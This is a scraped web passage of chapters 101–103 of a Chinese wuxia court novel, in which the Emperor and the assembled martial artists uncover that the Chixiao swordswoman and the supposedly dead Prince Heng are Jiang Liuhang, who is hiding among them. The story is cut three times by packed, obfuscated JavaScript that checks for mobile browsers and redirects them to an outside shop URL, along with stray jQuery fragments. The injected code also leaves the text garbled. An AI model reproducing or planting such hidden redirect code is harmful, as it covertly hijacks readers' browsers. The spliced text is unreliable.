l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115400|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “衡王是男子,赤霄剑客是女子。” “衡王使刀,赤霄剑客用剑。” “那盗尸人分明就是赤霄剑客,又怎么会和衡王扯上?” 黄超几次想要说话,可他一向拙于言辞,在这人人激动的时候,他每次只说得两三个字就被别人抢过了话头。 姜六航的目光一直定在皇帝身上。 她曾经猜度过,大哥知道她未死的第一反应,是喜?还是恼? 如今答案明明白白地摆在眼前。 大哥欣喜若狂。 以致失了一向的周全和深虑,当着如此多的人面,就不管不顾地说出了那个重磅消息。 心像被摊开在暖融融的春阳下,姜六航抿了抿唇,心里轻叫:大哥。 皇帝抬起手示意,以他为中心,静默向外扩散,场上逐渐安静了下来。 “冯统领,你去把那件衣裳拿过来。” 冯简会意,向皇帝暂居的那屋子跑去。 秦信转而对裴佑道:“那晚你和赤霄剑客交手,她身穿黑色夜行衣,右肩、右袖各有一道划口,第二天我从衡王的帐篷里搜出了那件衣裳,等会儿你看看。” 裴佑瞪大眼。 那天不是没搜出衣裳吗? “皇上!”不一会,冯简飞跑回来,把一个锦布包裹捧给秦信,“拿来了。” 秦信接过,在众人的注目之下打开包裹,拿出里面的一件黑色衣裳,提起展开在裴佑的面前:“裴国公,你看看,是不是那件衣裳?” 裴佑凑近了察看。 “是这个样式,但太普通,很多武者都穿这个样式。划口,位置、长短、形状,和我那晚见过的一样。” 裴佑手伸过去,想要摸一摸那划口,看得更仔细一些,在指尖即将触到时,那衣裳却往后缩了,让她摸了个空。 她抬头看着提着衣裳的人,总觉得哪里怪怪的。 皇帝怎会恰巧把这衣裳随身带着?又为何要亲自提着?这活该是皇帝身边的人来干吧? “衣裳对上了。” “但那衣裳只是放在衡王帐篷里,也不见得就是衡王穿的。” “反正我不信!绝不可能有人能把刀、剑同时练到那样的境界!” “我也不信!” 一时间,满场都是“不信”的声音。 秦信充耳不闻,细致地把衣裳叠好,重新包裹起来。 赤霄剑客是六航,不该承受丁点骂名。 所以他在大众面前揭开了赤霄剑客的另一重身份。 他们不信,没关系。等他找到六航,由不得他们不信。 “冯统领,命锦衣卫都去,找到衡……” “皇上!”左卫将军顾不得了,打断皇帝的未尽之言,“那天晚上杨承的尸体被盗,军士去给衡王报信时,衡王正在帐中歇息。若是与裴国公交手的人是衡王,那时当赶不回军营。” 秦信手指蓦地顿住。 四周喧杂的议论声再起。 “果然,我就说嘛,赤霄剑客怎可能是衡王?” “就凭一件衣裳,能说明什么?” 裴佑看着抱紧包裹,眸光颤动的堂兄,暗叹了口气,用从所未有的柔和语气对堂兄道:“皇上,您还有许多事要处理,先回去吧。” 对着堂妹难得关切的目光,秦信动了动唇,终究没开口。 裴佑当年没在火场的现场,之后所有的人又都刻意避开相关的话题,于是她不知那颗红痣的事。 所以和那些人一样,即使有这件衣裳,也不相信赤霄剑客就是衡王。 但秦信现在却不想把红痣告诉给堂妹了。 也不想告诉任何旁的人。 那颗红痣,合该画于最精美的纸张,藏于密室,只他一个人得见。 已经知道的人无法让他们忘却,但他不愿再多的人知道。 “将军那时候没在帐篷里!”忽地一声,压过了所有的声音。 裴佑转头看过去,疑惑地问:“勇毅伯,你说什么?” 勇毅伯石进原是衡王的近卫,后来加入驻守南境的军队,去年随她回京。这次平叛,石进也跟着,然后又跟着来了这里。现在他说这话,是什么意思? 石进涨红着脸,目中满是激动和期冀,无视了沈以贵扯着他衣摆阻拦的动作,第一次没有听从亲密的伙伴,大声道:“那天晚上军士来报信后,我和沈将军去禀报将军,却发现将军不在帐中。直过了大半个时辰,将军才悄悄回来。那时将军身上穿着的,就是一件黑色夜行衣。” 场上出现了短暂的安静,众人面面相觑,现出犹疑的神色。 黄超终于逮住这个空挡,把早就想说的话说了出来:“可是,那天的另外一个盗尸人是我,那人和我交手时,用的不是如意剑法,是再世剑法!” 他这话刚说完,突然一道凌厉风声,眨眼间面前出现了一个人影。 他定睛看去,却是小裴国公。 小裴国公几乎逼到他脸上,一向清朗的声音此刻尖锐无比:“你说什么?!” 一旁,姜六航吐出憋着的一口气。 靴子终于落地了。 101. 第 101 章 黄超对上了一双幽黑的眼,里面似有狂涛巨浪在翻涌,乍一看上去,和先前皇帝的那双眼很相似。 他不明白小裴国公为何这样大的反应,迟疑着道:“那人使的再世剑法,不是裴国公的师兄或师弟吗?还是师姐或者师妹?”他知道,不是小裴国公,那人和孽徒一样,是一双杏眼。 “当!”裴佑手中的白虹剑掉在了地上。 但她一眼也没看平日宝贝得不得了,划了一道浅浅的印记都要心疼半天的宝剑,站在那里,仿佛呆了傻了,脸上的表情,像是想哭又像是想笑。 那怪异的神色,不比先前的皇帝好上多少。 场上沸反盈天,高高低低的议论声如潮水涌动。 “我怎么听迷糊了?这意思是说,那人和黄大侠过招,用的再世剑法?和小裴国公过招,用的如意剑法?” “能和这两位对招,剑法只会个皮毛可不行,那就是说,那人精通两种剑法?” “世上有这样天赋的人?莫不是神仙下凡?”郑大海不可思议地道。 “可小裴国公为何这个样子?莫非那人的再世剑法是从小裴国公的师门偷学的?也不对啊,如果那样,小裴国公应该是气愤才对,现在的样子,倒像是……”鲁指挥想了一会才想到怎么表达,“像是高兴得想哭。” “鲁指挥、郑指挥,小裴国公师从哪里?”童翼不知何时站了过来,笑容满面地问道。 两位指挥本就对这位帮主感激,又见他笑容亲切,更添了几分好感,只是有些意外他认得自己。鲁指挥和声答道:“小裴国公的师父是位世外高人,不愿在世人面前现面,每次都是悄悄教小裴国公剑法,所以没人知道他是谁。” 那边又有人道:“我不信有人会如意剑法,又会再世剑法。莫非和小裴国公、破山剑交手的不是同一人?” 这话得到了很多人赞同,纷纷猜测着可能的情况和巧合。反正,他们是无论如何都不能想象世上有人具备那样的武学天赋。 “应该是这样!晚上看不清,应该是小裴国公追赶的时候,中途换了人,小裴国公没发现。” “这就说得通了。” 裴佑终于缓过神来,听见周围的言论。 “皇上。”她朝着秦信唤了一声,双眼中迸出惊人的光亮,脸上神色几经变幻,最终定格成一个灿烂笑容,她语调欢乐快速地道,“我没追掉人!我和二十几个军士一直紧咬在那人后面,那晚的月色很好,路途中又没有躲藏的地方,我能够保证,中途没有换人,我追着的,一直是她!她用再世剑法和黄大侠过招,又用如意剑法和我过招!” 她说得这样笃定,由不得人再怀疑。 众人还没来得及表达自己的震惊,裴佑的下一句话紧接着砸了下来:“她就是衡王!衡王没有死,赤霄剑客就是衡王!” 左卫将军“唉”地一声,右拳猛击左掌。 又疯了一个! 第二次听到“赤霄剑客是衡王”,大多数人已没有先前震惊。 毫无根据的话,只凭一件衣裳,并不能让他们信服,实在是,超出了他们的认知。 唯一确信无疑的只有秦信了。 他略一思索,已明白原委,问裴佑道:“是衡王教你的再世剑法吧?” 衡王就是堂妹的那位神秘师父。 所以一听说那人使再世剑法,堂妹就知道了她是衡王。 但这话听在众人耳中,不啻于他在说“太阳是从西边升起的”。 就是皇帝也不能这样胡说八道吧? 怎么?他以为有人有这样的神通,会两种绝世剑法之外,还会天下第一刀法? 他怎么不说人能上天呢? 然而裴佑的回答让众人的脑袋震得一片空白。 “是。衡王说,这剑法是一位不愿出世的老人所创,拜托她寻找一个传人,衡王就把剑法教给了我。衡王说,那老人的脾气古怪,要求她不得以传人的师父自居,若是有人误会,必须一个个地解释清楚。衡王嫌麻烦,干脆瞒下了此事,让我也不得往外说。”今天武林中的各方霸主几乎齐集于此,她把话说得清清楚楚,再不会有人误会,也不算违背对衡王的承诺。 众人连呼吸都抑住了,完全不同于早先几次的喧闹。 人震惊到极致时,是说不出话的。 场上只有堂兄妹两人的对答声。 “那老人为何不直接让衡王做传人?” “衡王说,她有师父,不能改投师门。” “对,黄大侠是她师父。”秦信望了犹自怔愣的黄超一眼,又对裴佑道,“难怪你们那时只要聚到一起,就要找一个无人之处切磋。” “是啊,那时战况紧张,每次好不容易有机会,衡王就要抓紧时间教导我。直到五年前她离开梁州的前一天,还在指引我领会剑意。” 闻言,秦信心间飘过一片阴云。 其实,自得知六航死遁后,这片阴云一直缠绕在心间。 是什么事,让六航不得不离开? 但他很快就强硬地把疑虑拨开了——除了生死,没什么坎是越不过去的。 只要六航还活着,就好。 先把六航找到。 两人对话时,场中先是响起了轻微的嘈杂声,很快扩大、蔓延,人群中涌动着震动、惊愕的气息,仿佛闷在罐子里的火药,即将爆发。 “黄大侠,你可知道赤霄剑客去了哪里?” 皇帝的问话让所有的声音嘎然而止,躁动的气息凝固,那即将爆裂的火药被压了下来,众人目光齐齐望向破山剑黄超。 那人却像没感觉到聚焦到身上的目光,也没听见皇帝的问话,怔怔出神,脸上痛、悔、忧、急,种种情绪交替闪现。 秦信不知为何,心中猛地一沉,仿佛有极可怕的事发生。勉强压下不安,他提高声音重又问道:“黄大侠?赤霄剑客到哪里去了?” 黄超像被这一声喊回了魂,抬眼望向秦信,颤声道:“她和从庸去北狄治病了。” 秦信瞳孔骤缩:“治病?” “她吃下了增气丹,赶去救她的爹娘。”黄超脸色涨红,右颊的那道疤痕愈显狰狞,“她不知道,增气丹药性霸烈,要辅以汤药疏解,她……就那样跑过去了。吃下增气丹的第四天,毒性会开始发作,犹如刀劈斧削。我一直恨她没当场为父母报仇,可她那时,其实连剑都拿不住了。” 秦信脸上失了所有血色:“那毒,后来去除了吗?” “没有。” 秦信身子晃了一下:“是不是,每半年要疼几天?” 黄超目中现出泪光:“每半年发作一次,那疼痛不啻于遭受地狱十八道酷刑,到后来,比……中了东山洞口草毒的疼痛更厉害。” 这里不少人见过叛兵中了草毒的惨状,闻言不由得一阵彻骨的胆寒。 姜六航视线扫过裴佑握紧的拳头,又移到皇帝捏紧佛珠泛白的指节,心中呐喊:别说了!别说了! 已经过去了! 其实最疼的时候被屏蔽疼觉了! 可师父听不见她无声的呼喊,继续说了下去。 “我和从庸都不知道她吃下了增气丹,我们以为增气丹是被方三偷走的。毒性在体内积累,活不过兴元元年的四月。后来八月,早该死掉的方三却现出踪迹,从庸设法捉住他,才知道是衡儿吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120809|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 增气丹。” 他的声音泄出哽咽,“龙影面具也是衡儿拿走了。我不知道她易容成姜帅,给父母报了仇,把杨承的尸体在城墙上挂了三天。那天晚上,她肯定也是想偷了杨承的尸体丢到乱葬岗去。我不知道,我骂她。她教小裴国公剑法,再世剑法应该使得不比小裴国公差,可那晚,她的剑法凌乱,被我划了两剑,差点没躲过去,那时她的心里肯定很难过。她去北狄治病前,我在云山见到她,也没给一个好脸色……” 秦信胸口剧烈起伏,脸色一片惨白,整个人摇摇欲坠,明眼人都看得出,他快要支撑不住了。 “我去年九月底在北狄的边线见过鬼手神医和赤霄剑客。”忽然一个声音道。 “皇上,那是雁门霸王枪连战。”温涟不知从哪里走到皇帝身边,悄声道。 “鬼手神医?赤霄剑客?不是方三假扮的吧?”有人怀疑地道,显然经历过上午鬼手神医变方三的变故。 连战斩钉截铁地道:“不是假扮,当时有匪徒攻击商队,保镖不敌,赤霄剑客路见不平,一招把那匪头杀了,使的是如意剑法中月落星沉那一招。赤霄剑客是真的,鬼手神医自然也是真的,假扮的可瞒不过最熟悉的人。”没见方三一见破山剑就逃了吗? 紧接着又有一个也曾与赤霄剑客交过手的武林高手——朝阳刀杜可道:“我去年十一月底有事去北狄,也在北狄境内见到了鬼手神医和赤霄剑客,当时赤霄剑客与人交手,也是用的一招月落星沉制敌。” “是他们,是从庸和衡儿。”黄超握紧破山剑,“从庸说要去北狄,两年后回来,那时是五月,怎么九月底才走到北狄边线呢?是……衡儿在路上毒性发作,耽误了吗?” 他瞪圆铜铃大眼,伤疤在脸上跳动:“我要去找她,到北狄去,找衡儿。” 说着,犹如失了魂魄,也不和人招呼,径直施展轻功往院门去,几下就不见了人影。 —— 黄超走后,皇帝也马上离开了。 江湖客们激动不已,兴奋又感慨地议论着,简直要把天都掀翻。 姜六航悄悄溜回了房屋。 隔壁屋子里御林军和锦衣卫脚步匆匆地进进出出,直至深夜人也未断。 姜六航躺在床上,却怎么都睡不着,各种念头在脑中穿梭。 已经有了这样多漏洞,只差最后一层纸没被捅破,不知哪一天,从哪一处薄弱,就会被完全破开。 如果到时她必须离开,该怎么和大哥说?和家人说?和师父、从庸叔叔说?和裴佑、沈以贵这些战友说? 用那套进谷的说辞糊弄? 那话骗骗其他人可以,但大哥……大哥一定会动用全部锦衣卫的力量追查,她没一点信心能瞒过去。 难道在所有人面前再死一次? 这个念头只一闪现,姜六航的心就揪成一团。 不,不到最后,实在别无他法,不能这样做。 姜六航不知自己是何时睡着的,再醒来,是因为房中轻微的动静。 她睁眼,裴佑站在床前,熹微晨光映在窗上,只能模糊看出小裴国公衣着整齐。 “姜恒,我要走了。” “去哪里?”姜六航坐起身。 “奉圣命,去百晓楼,捉拿宋今禾一干人等。” 姜六航:“!!!” 不等她再问,裴佑丢下一句“姜恒,你别喜欢皇帝了”,匆匆走了。 姜六航起身穿好衣裳,这时外面军士敲门道:“姜指挥,卯正两刻启程。” 姜六航讶然问:“不是辰时吗?” “改变计划了,不回京城,卯正两刻启程去梁州云山。” 102. 第 102 章 “各军士听令:就地休整,两刻钟后启程!” 随着传令兵高喝着驰马经过,队伍停下来,姜六航从马车中出来,扶着车壁甩了甩手脚。 如今她的体质虽好了很多,但还是不能和军士相比。这还是左卫将军觉得她体弱,特意给她安排了一辆马车。马车空间很狭小,想稍稍活动一下都不行,只能老老实实坐着。 从卯正两刻到午时,她在马车里坐了整整三个时辰,腿脚都僵了。但比起那些在马背上奔驰了这么久的将士,她算是舒服的了。 如果骑马,此时她不知狼狈成什么样子。 只有两刻钟,要抓紧。 姜六航快步走到路边的树林里,找了一个人少些的方向往前走去。军士们见到她,带着了然的神色,自动回避,都离她远远的。 她还遇见了郑大海,隔着几步远朝她挥手:“姜指挥,你只管放心去!我守在这里,谁都不许过去!” 姜六航:“……多谢。” 她往前小跑了一段,直到确定远离人群,这才停下来,从怀中掏出哨子,用力吹起来。 没有声音。 但她已经知道,其实是有声音的,只是人听不到。 “嘟——!嘟——!”她的脑海里自动配音。 小灰!快来呀! 裴佑天没亮就出发了。 先前一直没找到机会,已经拖延了这么久。 吹了好一会,一直没见到小灰的踪影。 那头隐隐传来了军士喊着集合的声音。 姜六航颓然地停下。 是小灰不在能听见声音的范围?还是方三觉得已然还了恩情,带着小灰离开了? 大哥突然要抓今禾姐,肯定和她有关。现在信送不出去,如果今禾姐被抓,她该怎么把今禾姐救出来? 姜六航想着这些,咬了咬唇,取出袖中写好的一页纸,快速地撕成碎末,扔在了几个不同的地方。 走到先前遇见郑大海的地方,他果然还等在那里,两人一同回去。 走到官道上后,姜六航回头望,在军队的后方,离着军队几十步的道中,数百江湖人士也已集合拢来,准备再次启程。 这些人在军队从盘云县出发时就跟着,中途又陆续有人加入。 “他们没事干的吗?都跟去看热闹?” 姜六航有些不忿,她的热闹就这样好看? 郑大海却持不同意见:“那可是衡王小时候住的地方啊!若我是他们,也要去!”他满眼亢奋,“谁能想到,衡王竟是赤霄剑客!赤霄剑客竟就是衡王!刀法、剑法都是天下第一!武林中千百年来第一人!如今那些江湖人对衡王的崇敬,可不比我们军中的人低!” 兴奋了一会,他又蔫下来,“衡王现在不知道在哪里?为什么不回来呢?破山剑去找她,也不知能不能找到?” 姜六航没有应声。 想到师父昨天悲痛、自责的样子,她心里像塞了一团棉花,闷闷的有些透不过气。 师父千里迢迢去寻她,可她其实根本没在北狄。师父不知要在那里找多久,找不到她,又会怎样着急?会不会不死心地一直找下去? “衡王体内的毒不知怎样了?不过——”郑大海的语气一转,又高兴起来,“有了增气丹的配方,太医们看了,一定很快就可以想出解毒的方法。” 姜六航惊讶道:“哪里来的配方?” “破山剑给的。”见姜指挥疑惑,郑大海解释道,“昨天破山剑走后不久,皇上就让人去追他,要问他一些衡王的事。人追上了,破山剑却不肯回来,只捎回了增气丹的配方,皇上昨天就把那配方飞鸽传去了京城。” “你怎么知道这些的?” “我昨晚守夜,行走的人都要通过我那里。” 说话间,到了马车旁,姜六航上车,郑大海也自去了。 —— 去云山的路走了六天,日夜兼程,每天连睡觉加在一起只有三个时辰的休息时间。在途中,姜六航又寻了两次机会召唤小灰,但小灰始终没出现。 第六天上午,到达云山。 御林军、锦衣卫即刻展开了细致的搜查,柜子、书架、床榻、墙壁、地面、房梁、屋檐、树木、岩石间……一处处地寻过去。 一个时辰后,两座木屋之间,松树前的那个坑洞被发现了。 坑洞做了掩饰,上面的土压得很紧实,还盖上了草叶,但抵不过经验丰富的锦衣卫的细心探查。 扒开草叶和上面的一层土,可看到底下明显的挖掘痕迹。 此时,数百人围在坑洞周围,有将官,有军士,有江湖武者,都目光炯炯地盯着地上的这个坑。 姜六航也在其中。 她只看了那坑一眼,随即把视线转到了对面的人。大哥正好站在她的对面,手持佛珠,眉目低垂,也在定定地盯着那坑洞。 冯简挥手让跃跃欲试的军士让开,他拿了一把锄头,亲自往下挖去。 挖一下,就把土堆在旁边。 直到现出一个漆黑的长条木盒。 冯简丢下锄头,用铲子把那盒子挖了出来,用布擦拭干净,捧到皇帝面前。 秦信接过,手放到盒盖上。所有的人都不觉屏住呼吸,等着他揭开盖子。 盒盖被一点点地抬起,揭开了一条缝,却忽然顿住。秦信从那缝里看了一眼,确定里面没有私密的不宜现于人前的东西,这才继续动作。 盒盖被完全打开。 秦信把盒子放到树旁的木凳上。 里面的东西展现在所有人面前。 一把剑,一件衣裳,一个黑色布袋。 “赤霄剑!”许多声音叫出来。 秦信摸了摸剑鞘上的火焰纹路,又摸了摸剑柄挂着的红色丝穗,却没拿那把剑,转而拿起了那件衣裳,展开。 衣裳的肩头盘踞着两条金龙,昂首摆尾,龙爪扣入云锦,似要活过来一般。 “皇上,是给衡王做的王袍!”冯简激动地道。 秦信攥紧衣裳。 虽然早知赤霄剑客即是六航,还在人世,但直到这一刻,见到这件由他亲自选定布料和样式,亲手挂在王府衣柜里的王袍,他始终有些飘忽的心才终于踏踏实实地落地。 “这王袍上没有一点火烧的痕迹。”他哑声道。 衣裳都这样干净,那火更不可能伤着六航。 冯简连连点头:“是啊,衡王应该是在火起之前就出去了。” 秦信松开绷紧的手指,放下衣裳,再拿起那个黑色袋子,从里面取出两样相同的物什,软软的,冰凉柔滑,肉皮颜色。 温涟凑近看了看,道:“是面具。” 冯简讶道:“莫非就是龙影面具?为何有两张?” “直接覆到脸上吗?”秦信向温涟问道。 “据说龙影面具根据人脸定型,定型之后,旁人佩戴肯定有不适合之处。”温涟思索着道,“可先用药水处理使之柔软,能紧贴皮肉,然后找一个和衡王脸型大小轮廓大致相似的人试戴一下,记下不适合的地方,估算出额头宽度、眼睛的间距、鼻尖的高度、脸的长短、下巴的弧度等等这些大概的数值,用软泥捏出一个模样,再把龙影面具覆上去。” 姜六航站在对面,听温涟侃侃而谈,听说估算数值时,那种科学严谨的态度扑面而来,很是佩服,到得后来,说要用软泥捏出一个模样,她恍然大悟:这不就是捏泥人吗? 被温涟这一说,捏泥人瞬间成了一项科学实验。 不过,这办法确实好,简单可行,每个人都听得明白。 “覆上龙影面具,就可……”秦信顿了一下,喉头滚动,胸口像揣了一团烈火,滚烫灼热,接着道,“见到衡王的脸了吗?” 温涟:“一两次可能不成,需对模型多次修改,增补削减,以达到最佳。” 秦信转头四顾,一张张的脸在眼前掠过。 他想起当年在梁州,去六航帐篷搜查的路上,将官们对赤霄剑客的痛骂。 在黑岩山,即使赤霄剑客救下那么多人质,江湖武者提起她,也多是不屑和愤怒。 如今,他们的面上都是对六航的尊敬、崇拜。 可是,还不够。 总会有人质疑——夜行衣可能是巧合,再世剑法为裴佑一人所言,王袍兴许是仿造…… 如果是龙影面具,那么,今天,他就把六航的脸明明白白地重现在众人的面前,让赤霄剑客即衡王这个事实再无法辩驳。 “温卿,你负责模型的事。”他加重语气,一字字道,“就在这里。” 温涟眼神一闪,已明白皇帝的用心,应道:“是。”当即吩咐人准备东西。 秦信留下两张面具,抱起装着王袍和赤霄剑的木盒正要离开,却忽听一人叫道:“这里有字迹! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124171|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 声音是从松树那里传来的,一个锦衣卫半跪在中间的那棵松树前,已经把树脂和苔藓清理干净,现出离地半米高的树杆上并列刻着的三个字。 秦信走过去,在松树前蹲下来,辨认着三个字。 “好像没写完整。”认了一会,他唤温涟道,“温佥事,你看呢?” 温涟:“好像是刻意只写出字的一部分。” 一旁,姜六航无声地念出:允、衡、真。 那是她十五岁离开云山去闯荡江湖的前一天,一家人各自刻下的一个字。她的名字在中间,左、右两边分别是爹娘的名字。只是名字笔划太多,怕伤了树,于是分别用了“厶、彳、十”代替。 家里爹娘的字画,在杨承闯入时,要么被毁损,要么被人拿走。她的字迹,去年进京之前,为以防万一,她也全部烧掉了。 只有这三个字,她存了侥幸心理,舍不得刮掉。 今天到云山后,她倒是想悄悄地刮了,可这里一直没断人,她无法行动。 这时,温涟也猜出了三个符号各自代表的字,“皇上,这个‘厶’,是不是姜允的允字的上半截?‘十’是真的上半截,彳,是衡的左边。”说到后面,已经是肯定的语气。 秦信指尖抚上中间的那个痕迹,顺着笔划慢慢地移动,吩咐温涟:“拓下来。” 温涟应下,又低声道:“皇上,臣有事禀报。” 秦信看他的神态,心中会意这事不能在人前说,于是起身道:“随朕来。” 两人进了木屋里的一间书房。那里面摆着书柜书桌,但书柜里一册书也没有,书桌上也无半张纸,只有一方破了道裂缝的砚台和一支笔。 “什么事?”秦信坐在书桌后问。 “皇上,那坑洞和松树上字迹的位置,都有被人动过的痕迹,就在最近的两个多月。” 秦信遽然变色,上半身陡地直起:“你确定?” “臣确定。”温涟笃定地道,“动过后又掩盖了,手法很谨细,如果不是锦衣卫观察仔细,根本发现不了。” 秦信撑在膝盖上的手握紧:“动手的人不是衡王,她那时在北狄。” 温涟:“也不是破山剑,他如果挖出了坑里的东西,早就知道赤霄剑客是衡王了。” 两人分析了一通,却始终猜不透,到底是谁,得知了这样惊天动地的事情,却隐瞒了下来,没往外说。 秦信深深吸气,让自己冷静下来,思考从哪里突破,尽快寻到六航。 方三。 六航和方三关系匪浅,那时在黑岩山……脑中浮现出悬崖的通道上,方三紧贴在六航身后的画面,秦信咬紧牙,胸口一股浊气翻腾。 捉到方三,就可知到底是不是六航提前从北狄回来了,派他搬的救援,甚至可能直接找到六航。 “可有寻到方三的踪迹?” 温涟惭愧回道:“没有。” “继续搜寻,一旦找到,务必捉拿。”皇帝的声音没有什么起伏,“他若抵抗,不伤性命即可。” “是。” —— 姜六航对书房的谈话一无所知,她和众人一起,一直蹲守在坑洞周围,看着几名精擅手工的锦衣卫按照记录的数据用半干的泥巴捏出一张脸,然后烤干。 半夜时,模型初步完成,锦衣卫把两张面具依次覆上去。 “鼻子两边鼓起了一点点。” “眼皮有点绷。” “下巴那里的皮皱起了。” “看出像谁了吗?” “怪怪的,看不太出。” “一个肯定是衡王,还有一个,应该是赤霄剑客躲避追杀时戴过的。” “对,不然为何整个江湖的人都找不出赤霄剑客?” 姜六航:“……” 这些人至今仍不知道,赤霄剑客原本就戴着面具,并不是躲避追杀时才戴上的。 不过,马上他们就会知道了。而她的所有伪装都将被扒下,被找到的危险进一步加大。 在周边人的议论声中,锦衣卫重新记录下数据,然后修改模型。 看着不是一会儿的功夫,姜六航先去睡了。 第二天清晨,在坑洞旁守了一夜的郑大海来叫她:“姜指挥,成了!快去看!” 两人赶到时,那里已经挤得水泄不通,皇帝也已到场,只等着锦衣卫把面具给模型戴上去。 103. 第 103 章 朝阳升起,温柔地笼罩着云山,照着云山之上围着的数千人。他们都朝着一个方向,站在外围的根本看不见什么,可他们还是望着那里。 数千人,却无一点人声,只有鸟儿的鸣叫,风拂过树叶的沙沙声,溪水流过石头的潺潺声。 面具一点点地覆上模型的脸。 当锦衣卫的手离开时,一张栩栩如生的面容展现在众人眼前。 眉眼疏朗,嘴角似含着笑意,在日光的映照下闪着光泽。 “将军!”不知是哪一个军士先叫出来。 “将军!” “将军!” 无数声音跟着叫起来,激动的、喜悦的、伤怀的、崇敬的…… 那是姜帅,是衡王,可是最开始,那是他们的将军。 铁骨军的将军——姜六航! 逐渐有江湖客的声音加入。 “赤霄剑客!” “姜帅!” “衡王!” 声浪沸腾,直冲于天。 在一声声的叫唤里,姜六航热泪盈眶,喉咙发哽。 当万众唾骂时,她坦然受之。 当像过街老鼠被追杀时,她平静应对。 她以为,她不在乎。 可这时,她才知道,她是在乎的。 那些委屈、难受、不忿都被压了下去,爹娘大仇未报,她没时间多想,她不能软弱,被那些辱骂压倒。 她假装不在意,把自己都骗了过去。 直到这时,当大哥把衡王的脸一步步地展示在千万众之前,把赤霄剑客身上的污名彻底拂去,在这震天的呼声里,她才真真正正地从过去那段阴暗的日子里走了出来。 她不由得望向立在模型前的那人。 他下巴紧绷,睫毛颤动,脸上一片空白,没有什么表情。 头部对着模型僵硬地立着,肩膀提起,半晌未动。 好一会,他终于提步,朝那模型走去。 一步一步,迟缓沉重,像拖着千斤巨石,走得颇为艰难。 到了模型面前,他伸出手,颤抖的指尖触上去,点在两眼之间。 同一刻,仿佛按下了开关,被关住的情感纷纷涌到他脸上,那空白瞬间被纷至沓来的痛、悲、喜填满,脸颊剧烈抽搐,眸里泛出红丝。 只一瞬,他收回手,举袖掩住了脸。 姜六航的视线被衣袖挡住,下移至那人紧抓住佛珠的另一只手,因为太过用力,指骨突起,泛着惨白。 他立在那里未发出任何声音,可是任何人都能感觉到他身上散发出的汹涌情绪,如深海的巨浪涌动。 一股灼热的酸楚蓦地涌上,姜六航咬住唇。 她觉得眼睛湿润,用手背擦了擦,再看时,大哥已放下袖子,除了眼眶有点红,再看不出什么。 在锦衣卫的指导下,皇帝亲自动手,慢慢剥下那张面具。又一名锦衣卫上前,把第二张面具覆上去。 在锦衣卫动作时,满场都安静下来,当覆盖好后,起先是十几个江湖客惊叫出声:“赤霄剑客!”紧接着,惊呼声连成一片,在山间回荡。 “怎会是赤霄剑客?” “赤霄剑客也戴着龙影面具!” “衡王、赤霄剑客都戴着面具,都不是她真正的脸,那……她到底长什么样?” 秦信怔愣了一下,下意识回头,朝人群中扫去。 那女子带着帏帽站在侧旁,触到他的视线,微微低了低头。 不,不是她。 赤霄剑客九月底在北狄边境出现,可那时,姜恒在京城。 她们是两个人。 秦信收回视线,没说一句话,在纷纷议论中离去。 半个时辰后,姜六航等将官接到命令,带领军士在玉灵县寻找见过姜衡的人。 —— 一整天,姜六航提心吊胆。 表面上,她还要尽职尽责,带着军士寻人。可其实,她生怕真遇到一个见过姜衡的人。 当年她初来此世,充满好奇,两岁的时候缠着爹娘下山,所见却让她大失所望。低矮的茅草房,泥泞的道路,一个县城,却是远远比不上现代的一个普通村子。 后来她专心练剑,很少下山,再后来,玉灵县又经历过杨承的屠城,见过她真面目的人就更少了。 可也不能保证一定没有。 好在一天平安度过。 亥时初,她收队,上山向冯简复命,得知另外的队伍也没找到人,第二天还要继续。 晚上,躺在床榻,姜六航辗转反侧,怎么都睡不着。 三件事在她的心间反复徘徊。 其一就是今禾姐。 按照路程,昨天裴佑应该已经到达百晓楼,今禾姐被抓住了吗? 这是她带给今禾姐的无妄之灾,无论如何,不能让今禾姐受到伤害。她该怎么让今禾姐脱身? 再就是方三。 他从何得知皇帝被困?又怎知赤霄剑客埋在地底的令牌?大哥定会要寻到他,把这些问个究竟。 方三若是被抓,有前科在,姜六航不相信他能熬得住刑,绝对会一五一十地把事情全部交代了。于是,大哥马上就会知道,赤霄剑客当时就在盘云县附近,甚至,就以本来面目藏在军中,立刻就会展开严密调查。 锦衣卫的查案能力,她可不敢小瞧。 想到这里,姜六航不由得愈发焦虑,用力捶了一下床。 在盘云县揭开赤霄剑客即衡王的当天,受到的冲击太大,她竟没想到这点,还因为大哥得到她去了北狄的错误信息而松了口气,以为暂时安全了,第二天才反应过来。 之后来云山的途中,她几次召唤小灰,除了想要给今禾姐送信,还想提醒方三躲好,千万别被锦衣卫抓了。 可惜小灰始终不见踪影。 方三现在到底在哪? 以他的机灵,如果知道皇帝已经得知赤霄剑客即衡王的消息,肯定能立刻意识到自身的危险处境。就怕他不知道,傻傻地撞到锦衣卫手上。 第三件让姜六航不安的事,则是松树上的三个符号。 今天锦衣卫把三个符号拓了下来。 大哥会拿去对字迹吗? 仅仅一个未完成的字,能鉴定出是否某人所写吗?她觉得很难。但她对这方面没有什么了解,不能确定。 